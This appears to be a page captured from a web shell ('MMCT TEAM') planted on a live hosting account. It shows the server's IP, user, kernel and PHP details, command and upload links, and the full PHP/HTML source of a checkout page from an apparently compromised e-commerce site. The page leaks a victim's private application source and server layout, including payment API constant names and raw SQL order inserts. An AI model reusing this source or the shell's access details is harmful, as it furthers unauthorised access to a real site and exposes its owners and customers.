MMCT TEAM
Server IP : 2a02:4780:11:1017:0:31f1:b895:8  /  Your IP : 216.73.216.163
Web Server : LiteSpeed
System : Linux in-mum-web917.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u837925013 ( 837925013)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u837925013/domains/tech2wizard.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u837925013/domains/tech2wizard.com/public_html/checkout.php
<?php include('inc/function.php');
include('admin/inc/mail.php');

if(!isset($_SESSION['cart']) || count($_SESSION['cart'])==0){
	echo "<script> window.location.href='index.php';</script>";
}
if(!isset($_SESSION['SBUser'])){ 
    echo "<script type='text/javascript'>window.location=\"login.php\";</script>";  
}
$cart_total=0;
$total_price=0;
$errMsg="";
$e_msg="";
$address='';
$orderID='BOOK'.date("Ymdhis");
foreach($_SESSION['cart'] as $key=>$val){
    $productArr=get_product($con,'','',$key);
	$price=$productArr[0]['price'];
	$cart_total=$cart_total+($price);          
}
if(isset($_SESSION['COUPON_ID'])){
    $coupon_id=$_SESSION['COUPON_ID'];
    $coupon_code=$_SESSION['COUPON_CODE'];
    $coupon_value=$_SESSION['COUPON_VALUE'];
    $total_price=$cart_total-$coupon_value;
    
}	
if(isset($_POST['submit'])){
    if(!empty($_POST['store_id']) || $_POST['order_type']!='Visit'){
	$address=get_safe_value($con,$_POST['address']);
	$name=get_safe_value($con,$_POST['name']);
	$email=get_safe_value($con,$_POST['email']);
	$phone=get_safe_value($con,$_POST['phone']);
    if($_POST['ship_check']==1){
    $ship_address=get_safe_value($con,$_POST['address']);
    }else{
    $ship_address=get_safe_value($con,$_POST['ship_address']);
    }
	$booking_date=get_safe_value($con,$_POST['booking_date']);
	$booking_time=get_safe_value($con,$_POST['booking_time']);
	$notes=get_safe_value($con,$_POST['notes']);
	$order_type=get_safe_value($con,$_POST['order_type']);
	$store=get_safe_value($con,$_POST['store_id']);
	$payment_type=get_safe_value($con,$_POST['payment']);
	$user_id=$_SESSION['SBUser'];
	
	foreach($_SESSION['cart'] as $key=>$val){
			// $productArr=get_product($con,'','',$key1);
            // $price=$productArr[0]['price'];
			
	}
	$total_price=$cart_total;
	$payment_status='pending';
	if($payment_type=='cod'){
		$payment_status='pending';
	}
	$order_status='1';
	$added_on=date('Y-m-d h:i:s');
	
	$txnid = substr(hash('sha256', mt_rand() . microtime()), 0, 20);
	
	if(isset($_SESSION['COUPON_ID'])){
		$coupon_id=$_SESSION['COUPON_ID'];
		$coupon_code=$_SESSION['COUPON_CODE'];
		$coupon_value=$_SESSION['COUPON_VALUE'];
		$total_price=$total_price-$coupon_value;
		unset($_SESSION['COUPON_ID']);
		unset($_SESSION['COUPON_CODE']);
		unset($_SESSION['COUPON_VALUE']);
	}else{
		$coupon_id='';
		$coupon_code='';
		$coupon_value='';	
	}	
	
	mysqli_query($con,"insert into `order`(orderID,user_id,name,email,phone,address,shipping_address,date,time,payment_type,payment_status,order_status,added_on,total_price,txnid,coupon_id,coupon_code,coupon_value,notes,order_type,store) values('$orderID','$user_id','$name','$email','$phone','$address','$ship_address','$booking_date','$booking_time','$payment_type','$payment_status','$order_status','$added_on','$total_price','$txnid','$coupon_id','$coupon_code','$coupon_value','$notes','$order_type','$store')");
	
	$order_id=mysqli_insert_id($con);
	
	foreach($_SESSION['cart'] as $key=>$val){

			$productArr=get_product($con,'','',$key);
            $price=$productArr[0]['price'];
			// echo $price; die;
			mysqli_query($con,"insert into `order_detail`(order_id,orderID,service_id,price) values('$order_id','$orderID','$key','$price')");
			
		
	}

	
	if($payment_type=='paypal'){
		
		$userArr=mysqli_fetch_assoc(mysqli_query($con,"select * from users where id='$user_id'"));
		
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, 'https://test.instamojo.com/api/1.1/payment-requests/');
		curl_setopt($ch, CURLOPT_HEADER, FALSE);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
		curl_setopt($ch, CURLOPT_HTTPHEADER,
			array("X-Api-Key:".INSTAMOJO_KEY,"X-Auth-Token:".INSTAMOJO_TOKEN)
		);
		
		$payload = Array(
			'purpose' => 'Buy Product',
			'amount' => $total_price,
			'phone' => $userArr['mobile'],
			'buyer_name' => $userArr['name'],
			'redirect_url' => INSTAMOJO_REDIRECT,
			'send_email' => false,
			'send_sms' => false,
			'email' => $userArr['email'],
			'allow_repeated_payments' => false
		);
		curl_setopt($ch, CURLOPT_POST, true);
		curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
		$response = curl_exec($ch);
		curl_close($ch); 
		$response=json_decode($response);
		if(isset($response->payment_request->id)){
			unset($_SESSION['cart']);
			$_SESSION['TID']=$response->payment_request->id;
			mysqli_query($con,"update `order` set txnid='".$response->payment_request->id."' where id='".$order_id."'");
			?>
			<script>
			window.location.href='<?php echo $response->payment_request->longurl?>';
			</script>
			<?php
		}else{
			if(isset($response->message)){
				$errMsg.="<div class='instamojo_error'>";
				foreach($response->message as $key=>$val){
					$errMsg.=strtoupper($key).' : '.$val[0].'<br/>';				
				}
				$errMsg.="</div>";
			}else{
				echo "Something went wrong";
			}
		}
	}else{	
		    sentInvoice($con,$order_id);
            unset($_SESSION['COUPON_ID']);
            unset($_SESSION['COUPON_CODE']);
            unset($_SESSION['COUPON_VALUE']);
            unset($_SESSION['cart']);
		?>
		
		<script>
			window.location.href='thank-you.php?OrderID=<?php echo $orderID; ?>';
		</script>
		<?php
	}	
}else{
    $e_msg='<div class="alert alert-danger mt-20" role="alert">Please Search and select Nearest Store </div>';
}	
}
?>
<!DOCTYPE html>
<html lang="zxx">
    <head>
    <meta charset="UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <?php $get_seo= mysqli_fetch_array($con->query("select * from seo WHERE id=26")); ?>
        <title><?php if(!empty($get_seo['meta_title'])){ echo $get_seo['meta_title']; } ?></title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
		<meta name="description" content="<?php if(!empty($get_seo['meta_description'])){ echo $get_seo['meta_description']; }?>">
        <meta name="keywords" content="<?php if(!empty($get_seo['meta_keyword'])){ echo $get_seo['meta_keyword']; }?>"/>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="icon" type="image/png" href="<?php echo IMAGE_SITE_PATH.$get_logo['fevicon']?>" />
        <link rel="stylesheet" href="assets/css/animate.min.css" />
        <link rel="stylesheet" href="assets/css/bootstrap.min.css" />
        <link rel="stylesheet" href="assets/css/fontawsome.min.css" />
        <link rel="stylesheet" href="assets/css/flaticon.css" />
        <link rel="stylesheet" href="assets/css/meanmenu.min.css" />
        <link rel="stylesheet" href="assets/css/owl.carousel.min.css" />
        <link rel="stylesheet" href="assets/css/nice-select.min.css" />
        <link rel="stylesheet" href="assets/css/owl.theme.default.min.css" />
        <link rel="stylesheet" href="assets/css/magnific-popup.min.css" />
        <link rel="stylesheet" href="assets/css/jquery-ui.min.css" />
        <link rel="stylesheet" href="assets/css/swiper.min.css" />
        <link rel="stylesheet" href="assets/css/odometer.min.css" />
        <link rel="stylesheet" href="assets/css/style.css" />
        <link rel="stylesheet" href="assets/css/responsive.css" />
        <!-- Meta Pixel Code -->
        <script>
          !function(f,b,e,v,n,t,s)
          {if(f.fbq)return;n=f.fbq=function(){n.callMethod?
          n.callMethod.apply(n,arguments):n.queue.push(arguments)};
          if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
          n.queue=[];t=b.createElement(e);t.async=!0;
          t.src=v;s=b.getElementsByTagName(e)[0];
          s.parentNode.insertBefore(t,s)}(window, document,'script',
          'https://connect.facebook.net/en_US/fbevents.js');
          fbq('init', '1011266089528097');
          fbq('track', 'PageView');
        </script>
        <noscript><img height="1" width="1" style="display:none" src="https://www.facebook.com/tr?id=1011266089528097&ev=PageView&noscript=1"/></noscript>
        <!-- End Meta Pixel Code -->
        <?php echo $setting['head_code']; ?>
        
    </head>
    <body>
    <?php include('inc/header.php'); ?>
    <div class="uni-banner"style="background-image: url('<?php if(!empty($get_seo['banner'])){ echo BANNER_SITE_PATH.$get_seo['banner']; }?>');">
        <div class="container-fluid container-large">
            <div class="uni-banner-text-area">
                <h1><?php if(!empty($get_seo['banner_title'])){ echo $get_seo['banner_title']; }?></h1>
                <?php if(!empty($get_seo['banner_sub_title'])){ echo "<p class='text-white'>".$get_seo['banner_sub_title']."</p>"; }?>
                <ul>
                    <li><a href="index.php">Home</a></li>
                    <li><?php if(!empty($get_seo['page_name'])){ echo $get_seo['page_name']; }?></li>
                </ul>
            </div>
        </div>
    </div>
    <div class="checkout-area ptb-40">
        <div class="container">
            <?php if(!isset($_SESSION['SBUser'])){  ?>
            <div class="checkout-user">
                <i class="fas fa-sign-out-alt"></i>
                <span>Returning customer? <a href="login.php">Click here to Log In</a></span>
            </div>
            <?php } ?>
            <form id="login-form" method="post">
                <div class="row">
                    <div class="col-lg-8">
                            <div class="billing-details card-summery-section">
                                <h3 class="title">Booking details</h3>
                                <div class="row">
                                    
                                    <div class="col-lg-4 col-md-4 col-4">
                                        <div class="book_radio">
                                          <input type="radio" id="doorstep" onclick="show1();" name="order_type" value="Doorstep" checked>
                                          <label for="doorstep"> <span>Doorstep</span></label>
                                        </div>
                                    </div>
                                    <div class="col-lg-4 col-md-4 col-4">
                                        <div class="book_radio">
                                          <input type="radio" value="Pickup" name="order_type" onclick="show2();" id="pickup" >
                                          <label for="pickup"><span>Pickup</span></label>
                                        </div>
                                    </div>
                                    <div class="col-lg-4 col-md-4 col-4">
                                        <div class="book_radio">
                                          <input type="radio" value="Visit" name="order_type" onclick="show3();" id="visit_store" >
                                          <label for="visit_store"><span>Visit Store</span></label>
                                        </div>
                                    </div>
                                </div>
                                <div class="row" id="store_search_show"style="display:none">
                                     <div class="col-lg-6 col-md-6 col-8">
                                        <div class="form-group">
                                            <label>Search Store<span class="required">*</span></label>
                                            <input type="text" id="find_store_data"name="store"class="form-control" />
                                            <small id="NotFOUNF"class="text-danger map-hide">No Store Available Please Enter Correctly</small>
                                        </div>
                                    </div>
                                    <div class="col-lg-6 col-md-6 col-4">
                                        <div class="form-group">
                                            <label>.</label>
                                            <span class="default-button store-find-button" onclick="SubmitsearchStore('hello')"><span>Serach</span></span>
                                        </div>
                                    </div>
                                    <div class="col-lg-12 col-md-12 col-12">
                                        <div class="row" id="StoreSHOW">
                                        
                                        </div>
                                    </div>
                                    
                                </div>
                                <div class="row">
                                    <div class="col-lg-6 col-md-6">
                                        <div class="form-group">
                                            <label>Calender <span class="required">*</span></label>
                                            <input type="date" name="booking_date" id="booking_date" class="form-control" required/>
                                        </div>
                                    </div>
                                    <div class="col-lg-6 col-md-6">
                                        <div class="form-group">
                                            <label>Time <span class="required">*</span></label>
                                            <input type="time" name="booking_time" id="booking_time" class="form-control" required/>
                                        </div>
                                    </div>
                                    <h4>BILLING DETAILS</h4>
                                    <div class="col-lg-12 col-md-12">
                                        <div class="form-group">
                                            <label>Full Name <span class="required">*</span></label>
                                            <input type="text"name="name" value="<?php if(!empty($user_data['name'])){ echo $user_data['name']; } ?>" class="form-control" required/>
                                        </div>
                                    </div>
                                    <div class="col-lg-6 col-md-6">
                                        <div class="form-group">
                                            <label>Email Address <span class="required">*</span></label>
                                            <input type="email"name="email" value="<?php if(!empty($user_data['email'])){ echo $user_data['email']; } ?>"class="form-control" required/>
                                        </div>
                                    </div>
                                    <div class="col-lg-6 col-md-6">
                                        <div class="form-group">
                                            <label>Phone <span class="required">*</span></label>
                                            <input type="text" maxlength="10" onkeypress="return onlyNumberKey(event)" value="<?php if(!empty($user_data['phone'])){ echo $user_data['phone']; } ?>"name="phone"class="form-control" required/>
                                        </div>
                                    </div>
                                    <div class="col-lg-12 col-md-12">
                                        <div class="form-group">
                                            <label>Full Address <span class="required">*</span></label>
                                            <input type="text" value="<?php if(!empty($user_data['address'])){ echo $user_data['address']; } ?>"name="address"class="form-control" required/>
                                        </div>
                                    </div>
                                    <div class="col-lg-12 col-md-12">
                                        <div class="form-group">
                                            <input class="shiping_checked"type="checkbox" onchange="valueChanged()" checked="checked" value="1" name="ship_check"> Shipping address same as billing
                                        </div>
                                    </div>
                                    <div class="col-lg-12 col-md-12 shipping_box"style="display:none" id="">
                                        <div class="form-group">
                                            <label>Shipping Address <span class="required">*</span></label>
                                            <input type="text" value=" "name="ship_address"class="form-control"/>
                                        </div>
                                    </div>
                                    <h4>ADDITIONAL INFORMATION</h4>
                                    <div class="col-lg-12 col-md-12">
                                        <div class="form-group">
                                            <textarea name="notes" id="notes" cols="30" rows="2" placeholder="Booking Notes" class="form-message"></textarea>
                                        </div>
                                    </div>
                                    
                                   
                                    
                                </div>
                            </div>
                        </form>
                    </div>
                    <div class="col-lg-4">
                        <div class="billing-sildbar pl-20">
                            <div class="billing-totals">
                                <div class="card-summery-section">
                                    <h3>Checkout Summary</h3>
                                    <div class="total-cart">
                                        <div class="subtotal price-section">
                                            <h4>Total Payable: <span class="float-right" id="total-ammount">₹ <?php if(isset($_SESSION['COUPON_ID'])){ echo number_format((float)$total_price, 2, '.', ','); }else{ echo number_format((float)$cart_total, 2, '.', ','); }?></span></h4>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="payment-box card-summery-section">
                                <div class="payment-method">
                                    <h3>Payment Method</h3>
                                    <!--<p>-->
                                    <!--    <input type="radio" id="paypal"value="paypal" name="payment" />-->
                                    <!--    <label for="paypal">PayPal</label>-->
                                    <!--</p>-->
                                    <p>
                                        <input type="radio" id="cash-on-delivery"value="cod"  name="payment" checked/>
                                        <label for="cash-on-delivery">Cash On Delivery</label>
                                    </p>
                                </div>
                                
                            </div>
                            <div class="payment-box card-summery-section">
                                
                                <input type="submit" name="submit" value="Book Now" onclick="return ValidateBooking()" class="default-button order-button"/>
                                <div id="checkout-error">
                                    <?php echo $e_msg; ?>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </form>
        </div>
    </div>
    
    <?php include('inc/footer.php'); ?>
    <script src="assets/js/jquery.min.js"></script>
    <script src="assets/js/jquery-ui.min.js"></script>
    <script src="assets/js/bootstrap.bundle.min.js"></script>
    <script src="assets/js/meanmenu.js"></script>
    <script src="assets/js/owl.carousel2.thumbs.js"></script>
    <script src="assets/js/owl.carousel.min.js"></script>
    <script src="assets/js/magnific-popup.min.js"></script>
    <script src="assets/js/TweenMax.js"></script>
    <script src="assets/js/nice-select.min.js"></script>
    <script src="assets/js/form-validator.min.js"></script>
    <script src="assets/js/contact-form-script.js"></script>
    <script src="assets/js/ajaxchimp.min.js"></script>
    <script src="assets/js/appear.min.js"></script>
    <script src="assets/js/swiper-bundle.min.js"></script>
    <script src="assets/js/tilt.js"></script>
    <script src="assets/js/odometer.min.js"></script>
    <script src="assets/js/custom.js"></script>
    <script>
        $(function(){
            var dtToday = new Date();
        
            var month = dtToday.getMonth() + 1;
            var day = dtToday.getDate()+2;
            var year = dtToday.getFullYear();
            if(month < 10)
                month = '0' + month.toString();
            if(day < 10)
             day = '0' + day.toString();
            var maxDate = year + '-' + month + '-' + day;
            $('#booking_date').attr('min', maxDate);
        });
    </script>
</body>

</html>

MMCT - 2023